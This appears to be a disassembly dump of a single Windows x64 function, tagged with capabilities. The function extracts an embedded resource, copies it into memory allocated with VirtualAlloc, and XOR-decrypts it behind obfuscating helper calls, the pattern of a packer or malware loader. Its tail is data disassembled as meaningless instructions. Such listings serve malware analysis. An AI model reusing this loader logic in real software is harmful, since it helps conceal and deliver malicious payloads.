Function at 0x140002d90
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xc8
mov rdi, rcx
mov r12, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x1400071d0], r12
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [0x1400071d8], rax
mov edx, 0x6f
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x34], eax
mov rcx, rdi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x98], rax
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov ebx, dword [rsp + 0x34]
mov r8d, 0xad
mov rcx, rbx
mov edx, esi
call fcn.140002bc0
mov r15, rax
mov ecx, 0x1000
call fcn.140002bc0
mov rdi, rax
mov qword [rsp + 0x20], 0xb0
mov ecx, 4
mov r8d, 0x6d
mov edx, esi
mov r9d, esi
call fcn.140002bc0
xor ecx, ecx
mov rdx, r15
mov r8d, edi
mov r9d, eax
call r12
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x38]
mov rdx, r14
mov r8, rbx
call fcn.140002b90
mov rdi, qword [rsp + 0x38]
mov edx, 0x74
xor ecx, ecx
mov r8d, esi
mov r9d, esi
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
test rdi, rdi
je 0x140003246
cmp ecx, eax
je 0x140003246
mov ecx, 5
mov edx, 0x1e
call fcn.140002bc0
mov ecx, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rdx
cmp ecx, eax
jbe 0x140003294
mov rax, qword [rsp + 0x38]
mov esi, dword [rax]
mov dword [rsp + 0x20], esi
mov ecx, 0x2e786f72
mov r8d, 0xc1
mov edx, esi
mov r9d, esi
call fcn.140002bc0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jne 0x140003294
mov rax, qword [rsp + 0x38]
add rax, 4
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
movzx eax, byte [rax]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x33]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov dword [rsp + 0x44], ecx
mov edx, 0x89
xor ecx, ecx
call fcn.140002bc0
mov rsi, rax
movzx ebx, byte [rsp + 0x33]
movzx edx, byte [rsp + 0x33]
mov qword [rsp + 0x20], 0xd
mov ecx, 4
mov r8d, 0x30
mov r9d, edx
call fcn.140002bc0
mov ecx, dword [rsp + 0x44]
cmp bl, sil
je 0x1400032a5
cmp ecx, eax
jle 0x1400032a5
movzx eax, byte [rsp + 0x33]
mov qword [rsp + 0x58], rax
mov ecx, 4
call fcn.140002bc0
add rax, qword [rsp + 0x58]
add rax, qword [rsp + 0x38]
mov qword [rsp + 0x48], rax
mov r8, qword [rsp + 0x58]
mov qword [rsp + 0x20], r8
mov qword [rsp + 0x28], 0xb5
mov ecx, 0xfffffffb
mov edx, 0x84
mov r9, r8
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov ecx, 2
call fcn.140002bc0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rcx
cmp esi, eax
jb 0x140003294
mov qword [rsp + 0x20], 0x45
mov ecx, 0xfffffffc
mov edx, 0x9c
mov r8d, 0x8d
mov r9d, 0x22
call fcn.140002bc0
mov rsi, rax
add esi, dword [rsp + 0x44]
mov qword [rsp + 0xa0], rsi
mov ecx, 1
call fcn.140002bc0
xor ecx, ecx
cmp al, byte [rsp + 0x33]
adc rcx, 1
mov qword [rsp + 0xa8], rcx
mov ecx, 1
call fcn.140002bc0
and rax, qword [rsp + 0xa0]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], 2
cmp esi, 3
je 0x1400031e9
mov edx, 0x25e0318a
mov r8d, 0xdc
mov rcx, 0xfffffffffffffffe
call fcn.140002bc0
mov rsi, rax
add rsi, qword [rsp + 0xa0]
mov rcx, 0xfffffffffffffffe
mov rdx, rsi
mov r8, rsi
call fcn.140002bc0
and rax, rsi
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x80], 0
xor r14d, r14d
nop dword [rax + rax]
mov r15, qword [rsp + 0x80]
mov r12, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x90]
cmp rsi, qword [rsp + 0x58]
mov ebx, 0
cmovb rbx, rsi
mov rax, qword [rsp + 0x48]
movzx ecx, byte [rax + r12]
mov rdx, qword [rsp + 0x60]
xor cl, byte [rdx + rbx]
mov byte [rax + r12], cl
mov ecx, 1
mov r8d, 0xe68658
mov rdx, rsi
mov r9, rsi
call fcn.140002bc0
mov rdi, rax
add rdi, rbx
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0x2a
mov r8d, 0x74
mov r9d, 0x45
call fcn.140002bc0
or rax, r12
cmp rdi, qword [rsp + 0x58]
cmovae rdi, r14
mov rcx, qword [rsp + 0x48]
movzx edx, byte [rcx + rax]
mov rbx, qword [rsp + 0x60]
xor dl, byte [rbx + rdi]
mov byte [rcx + rax], dl
mov qword [rsp + 0x20], rsi
mov ecx, 1
mov edx, 0xfcb019
mov r8d, 0x16
mov r9, rsi
call fcn.140002bc0
mov rsi, rax
add rsi, rdi
mov ecx, 2
mov edx, 0x267bba
mov r8d, 0x14
mov r9d, 0x47
call fcn.140002bc0
mov rdi, rax
add rdi, r12
mov ecx, 2
call fcn.140002bc0
add rax, r15
cmp rax, qword [rsp + 0xb8]
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x70], rdi
jne 0x1400030d0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x20], r8
mov edx, 0xc6
xor ecx, ecx
mov r9, r8
call fcn.140002bc0
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rdx
cmp rcx, rax
je 0x140003294
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x68]
cmp rcx, rax
jae 0x14000326c
mov rax, qword [rsp + 0x68]
jmp 0x14000326e
lea rdx, [0x140006230]
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0xc0]
movzx ebx, byte [rcx + rdx]
mov rdi, qword [rsp + 0x60]
xor bl, byte [rdi + rax]
mov byte [rcx + rdx], bl
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x50]
lea rdx, str.sa61vbGxs72usbK9rqanqa6ur7Svnw
call fcn.140001000
mov rcx, qword [rsp + 0x98]
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_FreeResource]
pop rcx
insd dword [rdi], dx
insd dword [rdi], dx
sbb byte [rbp - 0x16], al
imul edi, edx, 0x58
popfq
push qword [rcx - 0x3751b20b]
mov ecx, 0x18d81ff5
mov bh, 0x75
stc
insd dword [rdi], dx
pushfq
add dword [rcx + 0x70], eax
or bh, ah
sub al, 0xf4
cli
cli
out 0x2c, eax
hlt
cli
in al, dx
adc esi, esi
push rax
rcl dword [rax - 0x27572d13]
invalid
push r14
and edx, r12d
add al, 0x19
invalid
invalid
mov ebx, 0xd3262ecb
cmp esi, esi
fstp dword [rdx]
push rsi
sar dword [rbx], cl
neg cl
sbb ah, byte [rbp + 0x56]
fld qword [rcx - 0x14e8f04e]
xchg byte [rsp + rdx*4], cl
cmpsd dword [rsi], dword [rdi]
invalid
sub dword [rbx - 0x54], 0
mov dh, 0x11
jo 0x14000caa8
add byte [rsi - 0x3fe08fef], dh
xchg byte [rdx - 0x7c8cf620], dh
rol byte [rsi + 0x7309e0b2], 0x83
lahf
mul byte [rbx - 0x56]
jge 0x14000ca22
int1
fcmove st(0), st(3)
xchg dword [rbx - 0x56259a3d], edx
cwde
jge 0x14000ca91
jle 0x14000cade
cmp dword [rbp - 0x77], ebp
out 0x84, eax
insd dword [rdi], dx
mov dword [rsi - 0x19], eax
test ch, bl
invalid
out 0x84, eax
fisttp qword [rsi]
jp 0x14000ca5c
mov esi, 0xbc1382b2
int 0x6d
insd dword [rdi], dx
insd dword [rdi], dx
or byte [0x14518940a], sil
push rsi
add dl, byte [rbp + 0x7e7e9bd3]
invalid
mov cl, 0x47
int1
fidiv dword [r15 - 0x3e76d79]
sbb al, ch
push rdx
out 0xaf, al
mov bl, byte [rbx + 0x477c8502]
invalid
add al, byte [rbp + 0x2dea477c]
jnp 0x14000ca81
scasd eax, dword [rdi]
sbb ecx, ecx
xchg ebp, eax
pop rdx
mov eax, dword [rsi - 0x6e]
ret 0xc7c
pop rcx
jb 0x14000cb17
pop rax
xor eax, 0xd3c8f893
lahf
mul dword [0x12a4689f0]
mov esi, 0x1fe1ea45
mov esi, 0x1fe1ea45
cmp dh, cl
rcl dword [rdx + rdx*4]
adc byte [rdx - 0x2f], ch
stc
sar ecx, 1
xchg edx, eax
xlatb
jl case.0x1400032bd.21
pop rax
xchg ebp, eax
fist word [rdx - 0x55d22920]
sub al, 0x56
jno 0x14000cb83
or ah, byte [rbp + rbx*4 - 0x4a9972f3]
adc al, 0xef
movsb byte [rdi], byte [rsi]
popfq
or eax, 0x43b5668d
mov ch, 0x43
adc al, 0xef
mov bl, 0xd3
sbb edx, ebx
mov r15b, 0x58
sbb dword [rax], ecx
invalid
xchg ecx, eax
or byte [rcx + 0x2c9b0848], dl
mov dl, 0x7d
invalid
enter 0xfffffffffffff6c5, 0x6c
test eax, 0x6d6ce10c
pop rcx
mov bl, 0x84
int 0x6d
insd dword [rdi], dx
insd dword [rdi], dx
mov sil, 0x7e
xchg edi, eax
add eax, 0x445af0b7
rcr dword [rcx], cl
rcr byte [rdi - 0x1f3c2d17], 1
invalid
pop rdx
bswap esp
mov ah, 0x9b
and al, 0x59
imul esp, esi, 0xfffffffb
cmpsd dword [rsi], dword [rdi]
jnp 0x14000cb5d
fdiv dword [rsi - 0x77]
jbe 0x14000cb10
xor al, 0x6b
cmpsd dword [rsi], dword [rdi]
invalid